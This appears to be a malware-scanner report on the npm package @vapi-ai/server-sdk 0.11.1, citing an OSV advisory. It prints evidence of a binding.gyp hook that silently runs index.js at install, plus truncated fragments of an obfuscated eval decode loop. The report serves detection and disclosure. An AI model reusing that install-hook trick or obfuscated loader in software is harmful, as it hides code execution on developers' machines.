Hostile ^100% javascript Download

@vapi-ai/server-sdk 0.11.1

binding.gyp executes arbitrary code at install

“[![fern shield](https://img.shields.io/badge/%F0%9F%8C%BF-Built%20with%20Fern-brightgreen)](https://buildwithfern.com?utm_source=github&utm…”

binding.gyp runs a command at install timeeval() with transform func call

SHA-256a10efe41b7bd357d5ebb328178bc6a8a430cfab1c463602c3b1aeb5621bbd9d2

URLhttps://registry.npmmirror.com/@vapi-ai/server-sdk/-/server-sdk-0.11.1.tgz

MaleculeK₂(AmTe)O₂(S₂As)H₅(Cm₇Db₃F₂OsPo₂)Md(Pa₄)

Also flagged by osv (MAL-2026-5209: Malicious code in @vapi-ai/server-sdk (npm)) +4 more.

Evidence

gyp command expansion redirects or chains shell binding.gyp · lines 1–9

1{
"targets": [
  {
    "target_name": "Setup",
    "type": "none",
    "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
  }
]
9}

eval() with transform func call index.js · line 0

0try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCod…

String.fromCharCode in map (decode loop) index.js · line 4871022

4871022…22,114,102,102,110,116,114,124,124,114,41,125,125,41,40,41].map(function(c){return String.fromCharCode(c)}).join(""),13)…

Public cloud provider name (Cloudflare) runtime.mjs · lines 18–21

17… t that indicates whether the environment the code is running is Cloudflare.
   * https://developers.cloudflare.com/workers/runtime-apis/web-standards/#navigatoruseragent
   */
  const isCloudflare …

Next Edge Runtime marker runtime.mjs · lines 28–38

81… Edge Runtime.
   * https://vercel.com/docs/functions/runtimes/edge-runtime#check-if-you're-running-on-the-edge-runtime
   */
  const isEdgeRuntime = typeof EdgeRuntime === "string";
  if (isEdgeRuntime) {
      return {
⋯5 lines

Showing the top 5 files — 9 more files (42 regions) not shown.

No evidence locations were recorded for this file. Raw result